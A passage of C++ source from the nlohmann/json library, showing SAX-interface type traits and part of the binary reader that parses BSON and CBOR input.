  template<typename T, typename Integer>\n    using number_integer_function_t =\n        decltype(std::declval<T&>().number_integer(std::declval<Integer>()));\n\n    template<typename T, typename Unsigned>\n    using number_unsigned_function_t =\n        decltype(std::declval<T&>().number_unsigned(std::declval<Unsigned>()));\n\n    template<typename T, typename Float, typename String>\n    using number_float_function_t = decltype(std::declval<T&>().number_float(\n        std::declval<Float>(), std::declval<const String&>()));\n\n    template<typename T, typename String>\n    using string_function_t =\n        decltype(std::declval<T&>().string(std::declval<String&>()));\n\n    template<typename T, typename Binary>\n    using binary_function_t =\n        decltype(std::declval<T&>().binary(std::declval<Binary&>()));\n\n    template<typename T>\n    using start_object_function_t =\n        decltype(std::declval<T&>().start_object(std::declval<std::size_t>()));\n\n    template<typename T, typename String>\n    using key_function_t =\n        decltype(std::declval<T&>().key(std::declval<String&>()));\n\n    template<typename T>\n    using end_object_function_t = decltype(std::declval<T&>().end_object());\n\n    template<typename T>\n    using start_array_function_t =\n        decltype(std::declval<T&>().start_array(std::declval<std::size_t>()));\n\n    template<typename T>\n    using end_array_function_t = decltype(std::declval<T&>().end_array());\n\n    template<typename T, typename Exception>\n    using parse_error_function_t = decltype(std::declval<T&>().parse_error(\n        std::declval<std::size_t>(), std::declval<const std::string&>(),\n        std::declval<const Exception&>()));\n\n    template<typename SAX, typename BasicJsonType>\n    struct is_sax\n    {\n    private:\n        static_assert(is_basic_json<BasicJsonType>::value,\n            \"BasicJsonType must be of type basic_json<...>\");\n\n        using number_integer_t = typename BasicJsonType::number_integer_t;\n        using number_unsigned_t = typename BasicJsonType::number_unsigned_t;\n        using number_float_t = typename BasicJsonType::number_float_t;\n        using string_t = typename BasicJsonType::string_t;\n        using binary_t = typename BasicJsonType::binary_t;\n        using exception_t = typename BasicJsonType::exception;\n\n    public:\n        static constexpr bool value =\n            is_detected_exact<bool, null_function_t, SAX>::value&&\n            is_detected_exact<bool, boolean_function_t, SAX>::value&&\n            is_detected_exact<bool, number_integer_function_t, SAX, number_integer_t>::value&&\n            is_detected_exact<bool, number_unsigned_function_t, SAX, number_unsigned_t>::value&&\n            is_detected_exact<bool, number_float_function_t, SAX, number_float_t, string_t>::value&&\n            is_detected_exact<bool, string_function_t, SAX, string_t>::value&&\n            is_detected_exact<bool, binary_function_t, SAX, binary_t>::value&&\n            is_detected_exact<bool, start_object_function_t, SAX>::value&&\n            is_detected_exact<bool, key_function_t, SAX, string_t>::value&&\n            is_detected_exact<bool, end_object_function_t, SAX>::value&&\n            is_detected_exact<bool, start_array_function_t, SAX>::value&&\n            is_detected_exact<bool, end_array_function_t, SAX>::value&&\n            is_detected_exact<bool, parse_error_function_t, SAX, exception_t>::value;\n    };\n\n    template<typename SAX, typename BasicJsonType>\n    struct is_sax_static_asserts\n    {\n    private:\n        static_assert(is_basic_json<BasicJsonType>::value,\n            \"BasicJsonType must be of type basic_json<...>\");\n\n        using number_integer_t = typename BasicJsonType::number_integer_t;\n        using number_unsigned_t = typename BasicJsonType::number_unsigned_t;\n        using number_float_t = typename BasicJsonType::number_float_t;\n        using string_t = typename BasicJsonType::string_t;\n        using binary_t = typename BasicJsonType::binary_t;\n        using exception_t = typename BasicJsonType::exception;\n\n    public:\n        static_assert(is_detected_exact<bool, null_function_t, SAX>::value,\n            \"Missing/invalid function: bool null()\");\n        static_assert(is_detected_exact<bool, boolean_function_t, SAX>::value,\n            \"Missing/invalid function: bool boolean(bool)\");\n        static_assert(is_detected_exact<bool, boolean_function_t, SAX>::value,\n            \"Missing/invalid function: bool boolean(bool)\");\n        static_assert(\n            is_detected_exact<bool, number_integer_function_t, SAX,\n            number_integer_t>::value,\n            \"Missing/invalid function: bool number_integer(number_integer_t)\");\n        static_assert(\n            is_detected_exact<bool, number_unsigned_function_t, SAX,\n            number_unsigned_t>::value,\n            \"Missing/invalid function: bool number_unsigned(number_unsigned_t)\");\n        static_assert(is_detected_exact<bool, number_float_function_t, SAX,\n            number_float_t, string_t>::value,\n            \"Missing/invalid function: bool number_float(number_float_t, const string_t&)\");\n        static_assert(\n            is_detected_exact<bool, string_function_t, SAX, string_t>::value,\n            \"Missing/invalid function: bool string(string_t&)\");\n        static_assert(\n            is_detected_exact<bool, binary_function_t, SAX, binary_t>::value,\n            \"Missing/invalid function: bool binary(binary_t&)\");\n        static_assert(is_detected_exact<bool, start_object_function_t, SAX>::value,\n            \"Missing/invalid function: bool start_object(std::size_t)\");\n        static_assert(is_detected_exact<bool, key_function_t, SAX, string_t>::value,\n            \"Missing/invalid function: bool key(string_t&)\");\n        static_assert(is_detected_exact<bool, end_object_function_t, SAX>::value,\n            \"Missing/invalid function: bool end_object()\");\n        static_assert(is_detected_exact<bool, start_array_function_t, SAX>::value,\n            \"Missing/invalid function: bool start_array(std::size_t)\");\n        static_assert(is_detected_exact<bool, end_array_function_t, SAX>::value,\n            \"Missing/invalid function: bool end_array()\");\n        static_assert(\n            is_detected_exact<bool, parse_error_function_t, SAX, exception_t>::value,\n            \"Missing/invalid function: bool parse_error(std::size_t, const \"\n            \"std::string&, const exception&)\");\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/meta/type_traits.hpp>\n\n// #include <nlohmann/detail/string_concat.hpp>\n\n// #include <nlohmann/detail/value_t.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    /// how to treat CBOR tags\n    enum class cbor_tag_handler_t\n    {\n        error,   ///< throw a parse_error exception in case of a tag\n        ignore,  ///< ignore tags\n        store    ///< store tags as binary type\n    };\n\n    /*!\n    @brief determine system byte order\n\n    @return true if and only if system's byte order is little endian\n\n    @note from https://stackoverflow.com/a/1001328/266378\n    */\n    static inline bool little_endianness(int num = 1) noexcept\n    {\n        return *reinterpret_cast<char*>(&num) == 1;\n    }\n\n    ///////////////////\n    // binary reader //\n    ///////////////////\n\n    /*!\n    @brief deserialization of CBOR, MessagePack, and UBJSON values\n    */\n    template<typename BasicJsonType, typename InputAdapterType, typename SAX = json_sax_dom_parser<BasicJsonType>>\n    class binary_reader\n    {\n        using number_integer_t = typename BasicJsonType::number_integer_t;\n        using number_unsigned_t = typename BasicJsonType::number_unsigned_t;\n        using number_float_t = typename BasicJsonType::number_float_t;\n        using string_t = typename BasicJsonType::string_t;\n        using binary_t = typename BasicJsonType::binary_t;\n        using json_sax_t = SAX;\n        using char_type = typename InputAdapterType::char_type;\n        using char_int_type = typename char_traits<char_type>::int_type;\n\n    public:\n        /*!\n        @brief create a binary reader\n\n        @param[in] adapter  input adapter to read from\n        */\n        explicit binary_reader(InputAdapterType&& adapter, const input_format_t format = input_format_t::json) noexcept : ia(std::move(adapter)), input_format(format)\n        {\n            (void)detail::is_sax_static_asserts<SAX, BasicJsonType> {};\n        }\n\n        // make class move-only\n        binary_reader(const binary_reader&) = delete;\n        binary_reader(binary_reader&&) = default; // NOLINT(hicpp-noexcept-move,performance-noexcept-move-constructor)\n        binary_reader& operator=(const binary_reader&) = delete;\n        binary_reader& operator=(binary_reader&&) = default; // NOLINT(hicpp-noexcept-move,performance-noexcept-move-constructor)\n        ~binary_reader() = default;\n\n        /*!\n        @param[in] format  the binary format to parse\n        @param[in] sax_    a SAX event processor\n        @param[in] strict  whether to expect the input to be consumed completed\n        @param[in] tag_handler  how to treat CBOR tags\n\n        @return whether parsing was successful\n        */\n        JSON_HEDLEY_NON_NULL(3)\n            bool sax_parse(const input_format_t format,\n                json_sax_t* sax_,\n                const bool strict = true,\n                const cbor_tag_handler_t tag_handler = cbor_tag_handler_t::error)\n        {\n            sax = sax_;\n            bool result = false;\n\n            switch (format)\n            {\n            case input_format_t::bson:\n                result = parse_bson_internal();\n                break;\n\n            case input_format_t::cbor:\n                result = parse_cbor_internal(true, tag_handler);\n                break;\n\n            case input_format_t::msgpack:\n                result = parse_msgpack_internal();\n                break;\n\n            case input_format_t::ubjson:\n            case input_format_t::bjdata:\n                result = parse_ubjson_internal();\n                break;\n\n            case input_format_t::json: // LCOV_EXCL_LINE\n            default:            // LCOV_EXCL_LINE\n                JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert) LCOV_EXCL_LINE\n            }\n\n            // strict mode: next byte must be EOF\n            if (result && strict)\n            {\n                if (input_format == input_format_t::ubjson || input_format == input_format_t::bjdata)\n                {\n                    get_ignore_noop();\n                }\n                else\n                {\n                    get();\n                }\n\n                if (JSON_HEDLEY_UNLIKELY(current != char_traits<char_type>::eof()))\n                {\n                    return sax->parse_error(chars_read, get_token_string(), parse_error::create(110, chars_read,\n                        exception_message(input_format, concat(\"expected end of input; last byte: 0x\", get_token_string()), \"value\"), nullptr));\n                }\n            }\n\n            return result;\n        }\n\n    private:\n        //////////\n        // BSON //\n        //////////\n\n        /*!\n        @brief Reads in a BSON-object and passes it to the SAX-parser.\n        @return whether a valid BSON-value was passed to the SAX parser\n        */\n        bool parse_bson_internal()\n        {\n            std::int32_t document_size{};\n            get_number<std::int32_t, true>(input_format_t::bson, document_size);\n\n            if (JSON_HEDLEY_UNLIKELY(!sax->start_object(static_cast<std::size_t>(-1))))\n            {\n                return false;\n            }\n\n            if (JSON_HEDLEY_UNLIKELY(!parse_bson_element_list(/*is_array*/false)))\n            {\n                return false;\n            }\n\n            return sax->end_object();\n        }\n\n        /*!\n        @brief Parses a C-style string from the BSON input.\n        @param[in,out] result  A reference to the string variable where the read\n                                string is to be stored.\n        @return `true` if the \\x00-byte indicating the end of the string was\n                 encountered before the EOF; false` indicates an unexpected EOF.\n        */\n        bool get_bson_cstr(string_t& result)\n        {\n            auto out = std::back_inserter(result);\n            while (true)\n            {\n                get();\n                if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::bson, \"cstring\")))\n                {\n                    return false;\n                }\n                if (current == 0x00)\n                {\n                    return true;\n                }\n                *out++ = static_cast<typename string_t::value_type>(current);\n            }\n        }\n\n        /*!\n        @brief Parses a zero-terminated string of length @a len from the BSON\n               input.\n        @param[in] len  The length (including the zero-byte at the end) of the\n                        string to be read.\n        @param[in,out] result  A reference to the string variable where the read\n                                string is to be stored.\n        @tparam NumberType The type of the length @a len\n        @pre len >= 1\n        @return `true` if the string was successfully parsed\n        */\n        template<typename NumberType>\n        bool get_bson_string(const NumberType len, string_t& result)\n        {\n            if (JSON_HEDLEY_UNLIKELY(len < 1))\n            {\n                auto last_token = get_token_string();\n                return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read,\n                    exception_message(input_format_t::bson, concat(\"string length must be at least 1, is \", std::to_string(len)), \"string\"), nullptr));\n            }\n\n            return get_string(input_format_t::bson, len - static_cast<NumberType>(1), result) && get() != char_traits<char_type>::eof();\n        }\n\n        /*!\n        @brief Parses a byte array input of length @a len from the BSON input.\n        @param[in] len  The length of the byte array to be read.\n        @param[in,out] result  A reference to the binary variable where the read\n                                array is to be stored.\n        @tparam NumberType The type of the length @a len\n        @pre len >= 0\n        @return `true` if the byte array was successfully parsed\n        */\n        template<typename NumberType>\n        bool get_bson_binary(const NumberType len, binary_t& result)\n        {\n            if (JSON_HEDLEY_UNLIKELY(len < 0))\n            {\n                auto last_token = get_token_string();\n                return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read,\n                    exception_message(input_format_t::bson, concat(\"byte array length cannot be negative, is \", std::to_string(len)), \"binary\"), nullptr));\n            }\n\n            // All BSON binary values have a subtype\n            std::uint8_t subtype{};\n            get_number<std::uint8_t>(input_format_t::bson, subtype);\n            result.set_subtype(subtype);\n\n            return get_binary(input_format_t::bson, len, result);\n        }\n\n        /*!\n        @brief Read a BSON document element of the given @a element_type.\n        @param[in] element_type The BSON element type, c.f. http://bsonspec.org/spec.html\n        @param[in] element_type_parse_position The position in the input stream,\n                   where the `element_type` was read.\n        @warning Not all BSON element types are supported yet. An unsupported\n                 @a element_type will give rise to a parse_error.114:\n                 Unsupported BSON record type 0x...\n        @return whether a valid BSON-object/array was passed to the SAX parser\n        */\n        bool parse_bson_element_internal(const char_int_type element_type,\n            const std::size_t element_type_parse_position)\n        {\n            switch (element_type)\n            {\n            case 0x01: // double\n            {\n                double number{};\n                return get_number<double, true>(input_format_t::bson, number) && sax->number_float(static_cast<number_float_t>(number), \"\");\n            }\n\n            case 0x02: // string\n            {\n                std::int32_t len{};\n                string_t value;\n                return get_number<std::int32_t, true>(input_format_t::bson, len) && get_bson_string(len, value) && sax->string(value);\n            }\n\n            case 0x03: // object\n            {\n                return parse_bson_internal();\n            }\n\n            case 0x04: // array\n            {\n                return parse_bson_array();\n            }\n\n            case 0x05: // binary\n            {\n                std::int32_t len{};\n                binary_t value;\n                return get_number<std::int32_t, true>(input_format_t::bson, len) && get_bson_binary(len, value) && sax->binary(value);\n            }\n\n            case 0x08: // boolean\n            {\n                return sax->boolean(get() != 0);\n            }\n\n            case 0x0A: // null\n            {\n                return sax->null();\n            }\n\n            case 0x10: // int32\n            {\n                std::int32_t value{};\n                return get_number<std::int32_t, true>(input_format_t::bson, value) && sax->number_integer(value);\n            }\n\n            case 0x12: // int64\n            {\n                std::int64_t value{};\n                return get_number<std::int64_t, true>(input_format_t::bson, value) && sax->number_integer(value);\n            }\n\n            default: // anything else not supported (yet)\n            {\n                std::array<char, 3> cr{ {} };\n                static_cast<void>((std::snprintf)(cr.data(), cr.size(), \"%.2hhX\", static_cast<unsigned char>(element_type))); // NOLINT(cppcoreguidelines-pro-type-vararg,hicpp-vararg)\n                const std::string cr_str{ cr.data() };\n                return sax->parse_error(element_type_parse_position, cr_str,\n                    parse_error::create(114, element_type_parse_position, concat(\"Unsupported BSON record type 0x\", cr_str), nullptr));\n            }\n            }\n        }\n\n        /*!\n        @brief Read a BSON element list (as specified in the BSON-spec)\n\n        The same binary layout is used for objects and arrays, hence it must be\n        indicated with the argument @a is_array which one is expected\n        (true --> array, false --> object).\n\n        @param[in] is_array Determines if the element list being read is to be\n                            treated as an object (@a is_array == false), or as an\n                            array (@a is_array == true).\n        @return whether a valid BSON-object/array was passed to the SAX parser\n        */\n        bool parse_bson_element_list(const bool is_array)\n        {\n            string_t key;\n\n            while (auto element_type = get())\n            {\n                if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::bson, \"element list\")))\n                {\n                    return false;\n                }\n\n                const std::size_t element_type_parse_position = chars_read;\n                if (JSON_HEDLEY_UNLIKELY(!get_bson_cstr(key)))\n                {\n                    return false;\n                }\n\n                if (!is_array && !sax->key(key))\n                {\n                    return false;\n                }\n\n                if (JSON_HEDLEY_UNLIKELY(!parse_bson_element_internal(element_type, element_type_parse_position)))\n                {\n                    return false;\n                }\n\n                // get_bson_cstr only appends\n                key.clear();\n            }\n\n            return true;\n        }\n\n        /*!\n        @brief Reads an array from the BSON input and passes it to the SAX-parser.\n        @return whether a valid BSON-array was passed to the SAX parser\n        */\n        bool parse_bson_array()\n        {\n            std::int32_t document_size{};\n            get_number<std::int32_t, true>(input_format_t::bson, document_size);\n\n            if (JSON_HEDLEY_UNLIKELY(!sax->start_array(static_cast<std::size_t>(-1))))\n            {\n                return false;\n            }\n\n            if (JSON_HEDLEY_UNLIKELY(!parse_bson_element_list(/*is_array*/true)))\n            {\n                return false;\n            }\n\n            return sax->end_array();\n        }\n\n        //////////\n        // CBOR //\n        //////////\n\n        /*!\n        @param[in] get_char  whether a new character should be retrieved from the\n                             input (true) or whether the last read character should\n                             be considered instead (false)\n        @param[in] tag_handler how CBOR tags should be treated\n\n        @return whether a valid CBOR value was passed to the SAX parser\n        */\n        bool parse_cbor_internal(const bool get_char,\n            const cbor_tag_handler_t tag_handler)\n        {\n            switch (get_char ? get() : current)\n            {\n                // EOF\n            case char_traits<char_type>::eof():\n                return unexpect_eof(input_format_t::cbor, \"value\");\n\n                // Integer 0x00..0x17 (0..23)\n            case 0x00:\n            case 0x01:\n            case 0x02:\n            case 0x03:\n            case 0x04:\n            case 0x05:\n            case 0x06:\n            case 0x07:\n            case 0x08:\n            case 0x09:\n            case 0x0A:\n            case 0x0B:\n            case 0x0C:\n            case 0x0D:\n            case 0x0E:\n            case 0x0F:\n            case 0x10:\n            case 0x11:\n            case 0x12:\n            case 0x13:\n            case 0x14:\n            case 0x15:\n            case 0x16:\n            case 0x17:\n                return sax->number_unsigned(static_cast<number_unsigned_t>(current));\n\n            case 0x18: // Unsigned integer (one-byte uint8_t follows)\n            {\n                std::uint8_t number{};\n                return get_number(input_format_t::cbor, number) && sax->number_unsigned(number);\n            }\n\n            case 0x19: // Unsigned integer (two-byte uint16_t follows)\n            {\n                std::uint16_t number{};\n                return get_number(input_format_t::cbor, number) && sax->number_unsigned(number);\n            }\n\n            case 0x1A: // Unsigned integer (four-byte uint32_t follows)\n            {\n                std::uint32_t number{};\n                return get_number(input_format_t::cbor, number) && sax->number_unsigned(number);\n            }\n\n            case 0x1B: // Unsigned integer (eight-byte uint64_t follows)\n            {\n                std::uint64_t number{};\n                return get_number(input_format_t::cbor, number) && sax->number_unsigned(number);\n            }\n\n            // Negative integer -1-0x00..-1-0x17 (-1..-24)\n            case 0x20:\n            case 0x21:\n            case 0x22:\n            case 0x23:\n            case 0x24:\n            case 0x25:\n            case 0x26:\n            case 0x27:\n            case 0x28:\n            case 0x29:\n            case 0x2A:\n            case 0x2B:\n            case 0x2C:\n            case 0x2D:\n            case 0x2E:\n            case 0x2F:\n            case 0x30:\n            case 0x31:\n            case 0x32:\n            case 0x33:\n            case 0x34:\n            case 0x35:\n            case 0x36:\n            case 0x37:\n                return sax->number_integer(static_cast<std::int8_t>(0x20 - 1 - current));\n\n            case 0x38: // Negative integer (one-byte uint8_t follows)\n            {\n                std::uint8_t number{};\n                return get_number(input_format_t::cbor, number) && sax->number_integer(static_cast<number_integer_t>(-1) - number);\n            }\n\n            case 0x39: // Negative integer -1-n (two-byte uint16_t follows)\n            {\n                std::uint16_t number{};\n                return get_number(input_format_t::cbor, number) && sax->number_integer(static_cast<number_integer_t>(-1) - number);\n            }\n\n            case 0x3A: // Negative integer -1-n (four-byte uint32_t follows)\n            {\n                std::uint32_t number{};\n                return get_number(input_format_t::cbor, number) && sax->number_integer(static_cast<number_integer_t>(-1) - number);\n            }\n\n            case 0x3B: // Negative integer -1-n (eight-byte uint64_t follows)\n            {\n                std::uint64_t number{};\n                return get_number(input_format_t::cbor, number) && sax->number_integer(static_cast<number_integer_t>(-1)\n                    - static_cast<number_integer_t>(number));\n            }\n\n            // Binary data (0x00..0x17 bytes follow)\n            case 0x40:\n            case 0x41:\n            case 0x42:\n            case 0x43:\n            case 0x44:\n            case 0x45:\n            case 0x46:\n            case 0x47:\n            case 0x48:\n            case 0x49:\n            case 0x4A:\n            case 0x4B:\n            case 0x4C:\n            case 0x4D:\n            case 0x4E:\n            case 0x4F:\n            case 0x50:\n            case 0x51:\n            case 0x52:\n            case 0x53:\n            case 0x54:\n            case 0x55:\n            case 0x56:\n            case 0x57:\n            case 0x58: // Binary data (one-byte uint8_t for n follows)\n            case 0x59: // Binary data (two-byte uint16_t for n follow)\n            case 0x5A: // Binary data (four-byte uint32_t for n follow)\n            case 0x5B: // Binary data (eight-byte uint64_t for n follow)\n            case 0x5F: // Binary data (indefinite length)\n            {\n                binary_t b;\n                return get_cbor_binary(b) && sax->binary(b);\n            }\n\n            // UTF-8 string (0x00..0x17 bytes follow)\n            case 0x60:\n            case 0x61:\n            case 0x62:\n            case 0x63:\n            case 0x64:\n            case 0x65:\n            case 0x66:\n            case 0x67:\n            case 0x68:\n            case 0x69:\n            case 0x6A:\n            case 0x6B:\n            case 0x6C:\n            case 0x6D:\n            case 0x6E:\n            case 0x6F:\n            case 0x70:\n            case 0x71:\n            case 0x72:\n            case 0x73:\n            case 0x74:\n            case 0x75:\n            case 0x76:\n            case 0x77:\n            case 0x78: // UTF-8 string (one-byte uint8_t for n follows)\n            case 0x79: // UTF-8 string (two-byte uint16_t for n follow)\n            case 0x7A: // UTF-8 string (four-byte uint32_t for n follow)\n            case 0x7B: // UTF-8 string (eight-byte uint64_t for n follow)\n            case 0x7F: // UTF-8 string (indefinite length)\n            {\n                string_t s;\n                return get_cbor_string(s) && sax->string(s);\n            }\n\n            // array (0x00..0x17 data items follow)\n            case 0x80:\n            case 0x81:\n            case 0x82:\n            case 0x83:\n            case 0x84:\n            case 0x85:\n            case 0x86:\n            case 0x87:\n            case 0x88:\n            case 0x89:\n            case 0x8A:\n            case 0x8B:\n            case 0x8C:\n            case 0x8D:\n            case 0x8E:\n            case 0x8F:\n            case 0x90:\n            case 0x91:\n            case 0x92:\n            case 0x93:\n            case 0x94:\n            case 0x95:\n            case 0x96:\n            case 0x97:\n                return get_cbor_array(\n                    conditional_static_cast<std::size_t>(static_cast<unsigned int>(current) & 0x1Fu), tag_handler);\n\n            case 0x98: // array (one-byte uint8_t for n follows)\n            {\n                std::uint8_t len{};\n                return get_number(input_format_t::cbor, len) && get_cbor_array(static_cast<std::size_t>(len), tag_handler);\n            }\n\n            case 0x99: // array (two-byte uint16_t for n follow)\n            {\n                std::uint16_t len{};\n                return get_number(input_format_t::cbor, len) && get_cbor_array(static_cast<std::size_t>(len), tag_handler);\n            }\n\n            case 0x9A: // array (four-byte uint32_t for n follow)\n            {\n                std::uint32_t len{};\n                return get_number(input_format_t::cbor, len) && get_cbor_array(conditional_static_cast<std::size_t>(len), tag_handler);\n            }\n\n            case 0x9B: // array (eight-byte uint64_t for n follow)\n            {\n                std::uint64_t len{};\n                return get_number(input_format_t::cbor, len) && get_cbor_array(conditional_static_cast<std::size_t>(len), tag_handler);\n            }\n\n            case 0x9F: // array (indefinite length)\n                return get_cbor_array(static_cast<std::size_t>(-1), tag_handler);\n\n                // map (0x00..0x17 pairs of data items follow)\n            case 0xA0:\n            case 0xA1:\n            case 0xA2:\n            case 0xA3:\n            case 0xA4:\n            case 0xA5:\n            case 0xA6:\n            case 0xA7:\n            case 0xA8:\n            case 0xA9:\n            case 0xAA:\n            case 0xAB:\n            case 0xAC:\n            case 0xAD:\n            case 0xAE:\n            case 0xAF:\n            case 0xB0:\n            case 0xB1:\n            case 0xB2:\n            case 0xB3:\n            case 0xB4:\n            case 0xB5:\n            case 0xB6:\n            case 0xB7:\n                return get_cbor_object(conditional_static_cast<std::size_t>(static_cast<unsigned int>(current) & 0x1Fu), tag_handler);\n\n            case 0xB8: // map (one-byte uint8_t for n follows)\n            {\n                std::uint8_t len{};\n                return get_number(input_format_t::cbor, len) && get_cbor_object(static_cast<std::size_t>(len), tag_handler);\n            }\n\n            case 0xB9: // map (two-byte uint16_t for n follow)\n            {\n                std::uint16_t len{};\n                return get_number(input_format_t::cbor, len) && get_cbor_object(static_cast<std::size_t>(len), tag_handler);\n            }\n\n            case 0xBA: // map (four-byte uint32_t for n follow)\n            {\n                std::uint32_t len{};\n                return get_number(input_format_t::cbor, len) && get_cbor_object(conditional_static_cast<std::size_t>(len), tag_handler);\n            }\n\n            case 0xBB: // map (eight-byte uint64_t for n follow)\n            {\n                std::uint64_t len{};\n                return get_number(input_format_t::cbor, len) && get_cbor_object(conditional_static_cast<std::size_t>(len), tag_handler);\n            }\n\n            case 0xBF: // map (indefinite length)\n                return get_cbor_object(static_cast<std::size_t>(-1), tag_handler);\n\n            case 0xC6: // tagged item\n            case 0xC7:\n            case 0xC8:\n            case 0xC9:\n            case 0xCA:\n            case 0xCB:\n            case 0xCC:\n            case 0xCD:\n            case 0xCE:\n            case 0xCF:\n            case 0xD0:\n            case 0xD1:\n            case 0xD2:\n            case 0xD3:\n            case 0xD4:\n            case 0xD8: // tagged item (1 bytes follow)\n            case 0xD9: // tagged item (2 bytes follow)\n            case 0xDA: // tagged item (4 bytes follow)\n            case 0xDB: // tagged item (8 bytes follow)\n            {\n                switch (tag_handler)\n                {\n                case cbor_tag_handler_t::error:\n                {\n                    auto last_token = get_token_string();\n                    return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read,\n                        exception_message(input_format_t::cbor, concat(\"invalid byte: 0x\", last_token), \"value\"), nullptr));\n                }\n\n                case cbor_tag_handler_t::ignore:\n                {\n                    // ignore binary subtype\n                    switch (current)\n                    {\n                    case 0xD8:\n                    {\n                        std::uint8_t subtype_to_ignore{};\n                        get_number(input_format_t::cbor, subtype_to_ignore);\n                        break;\n                    }\n                    case 0xD9:\n                    {\n                        std::uint16_t subtype_to_ignore{};\n                        get_number(input_format_t::cbor, subtype_to_ignore);\n                        break;\n                    }\n                    case 0xDA:\n                    {\n                        std::uint32_t subtype_to_ignore{};\n                        get_number(input_format_t::cbor, subtype_to_ignore);\n                        break;\n                    }\n                    case 0xDB:\n                    {\n                        std::uint64_t subtype_to_ignore{};\n                        get_number(input_format_t::cbor, subtype_to_ignore);\n                        break;\n                    }\n                    default:\n                        break;\n                    }\n                    return parse_cbor_internal(true, tag_handler);\n                }\n\n                case cbor_tag_handler_t::store:\n                {\n                    binary_t b;\n                    // use binary subtype and store in binary container\n                    switch (current)\n                    {\n                    case 0xD8:\n                    {\n                        std::uint8_t subtype{};\n                        get_number(input_format_t::cbor, subtype);\n                        b.set_subtype(detail::conditional_static_cast<typename binary_t::subtype_type>(subtype));\n                        break;\n                    }\n                    case 0xD9:\n                    {\n                        std::uint16_t subtype{};\n                        get_number(input_format_t::cbor, subtype);\n                        b.set_subtype(detail::conditional_static_cast<typename binary_t::subtype_type>(subtype));\n                        break;\n                    }\n                    case 0xDA:\n                    {\n                        std::uint32_t subtype{};\n                        get_number(input_format_t::cbor, subtype);\n                        b.set_subtype(detail::conditional_static_cast<typename binary_t::subtype_type>(subtype));\n                        break;\n                    }\n                    case 0xDB:\n                    {\n                        std::uint64_t subtype{};\n                        get_number(input_format_t::cbor, subtype);\n                        b.set_subtype(detail::conditional_static_cast<typename binary_t::subtype_type>(subtype));\n                        break;\n                    }\n                    default:\n                        return parse_cbor_internal(true, tag_handler);\n                    }\n                    get();\n                    return get_cbor_binary(b) && sax->binary(b);\n                }\n\n                default:                 // LCOV_EXCL_LINE\n                    JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert) LCOV_EXCL_LINE\n                    return false;        // LCOV_EXCL_LINE\n                }\n            }\n\n            case 0xF4: // false\n                return sax->boolean(false);\n\n            case 0xF5: // true\n                return sax->boolean(true);\n\n            case 0xF6: // null\n                return sax->null();\n\n            case 0xF9: // Half-Precision Float (two-byte IEEE 754)\n            {\n                const auto byte1_raw = get();\n                if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::cbor, \"number\")))\n                {\n                    return false;\n                }\n                const auto byte2_raw = get();\n                if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::cbor, \"number\")))\n                {\n                    return false;\n                }\n\n                const auto byte1 = static_cast<unsigned char>(byte1_raw);\n                const auto byte2 = static_cast<unsigned char>(byte2_raw);\n\n                // code from RFC 7049, Appendix D, Figure 3:\n                // As half-precision floating-point numbers were only added\n                // to IEEE 754 in 2008, today's programming platforms often\n                // still only have limited support for them. It is very\n                // easy to include at least decoding support for them even\n                // without such support. An example of a small decoder for\n                // half-precision floating-point numbers in the C language\n                // is shown in Fig. 3.\n                const auto half = static_cast<unsigned int>((byte1 << 8u) + byte2);\n                const double val = [&half]\n                    {\n                        const int exp = (half >> 10u) & 0x1Fu;\n                        const unsigned int mant = half & 0x3FFu;\n                        JSON_ASSERT(0 <= exp && exp <= 32);\n                        JSON_ASSERT(mant <= 1024);\n                        switch (exp)\n                        {\n                        case 0:\n                            return std::ldexp(mant, -24);\n                        case 31:\n                            return (mant == 0)\n                                ? std::numeric_limits<double>::infinity()\n                                : std::numeric_limits<double>::quiet_NaN();\n                        default:\n                            return std::ldexp(mant + 1024, exp - 25);\n                        }\n                    }();\n                return sax->number_float((half & 0x8000u) != 0\n                    ? static_cast<number_float_t>(-val)\n                    : static_cast<number_float_t>(val), \"\");\n            }\n\n            case 0xFA: // Single-Precision Float (four-byte IEEE 754)\n            {\n                float number{};\n                return get_number(input_format_t::cbor, number) && sax->number_float(static_cast<number_float_t>(number), \"\");\n            }\n\n            case 0xFB: // Double-Precision Float (eight-byte IEEE 754)\n            {\n                double number{};\n                return get_number(input_format_t::cbor, number) && sax->number_float(static_cast<number_float_t>(number), \"\");\n            }\n\n            default: // anything else (0xFF is handled inside the other types)\n            {\n                auto last_token = get_token_string();\n                return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read,\n                    exception_message(input_format_t::cbor, concat(\"invalid byte: 0x\", last_token), \"value\"), nullptr));\n            }\n            }\n        }\n\n        /*!\n        @brief reads a CBOR string\n\n        This function first reads starting bytes to determine the expected\n        string length and then copies this number of bytes into a string.\n        Additionally, CBOR's strings with indefinite lengths are supported.\n\n        @param[out] result  created string\n\n        @return whether string creation completed\n        */\n        bool get_cbor_string(string_t& result)\n        {\n            if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::cbor, \"string\")))\n            {\n                return false;\n            }\n\n            switch (current)\n            {\n                // UTF-8 string (0x00..0x17 bytes follow)\n            case 0x60:\n            case 0x61:\n            case 0x62:\n            case 0x63:\n            case 0x64:\n            case 0x65:\n            case 0x66:\n            case 0x67:\n            case 0x68:\n            case 0x69:\n            case 0x6A:\n            case 0x6B:\n            case 0x6C:\n            case 0x6D:\n            case 0x6E:\n            case 0x6F:\n            case 0x70:\n            case 0x71:\n            case 0x72:\n            case 0x73:\n            case 0x74:\n            case 0x75:\n            case 0x76:\n            case 0x77:\n            {\n                return get_string(input_format_t::cbor, static_cast<unsigned int>(current) & 0x1Fu, result);\n            }\n\n            case 0x78: // UTF-8 string (one-byte uint8_t for n follows)\n            {\n                std::uint8_t len{};\n                return get_number(input_format_t::cbor, len) && get_string(input_format_t::cbor, len, result);\n            }\n\n            case 0x79: // UTF-8 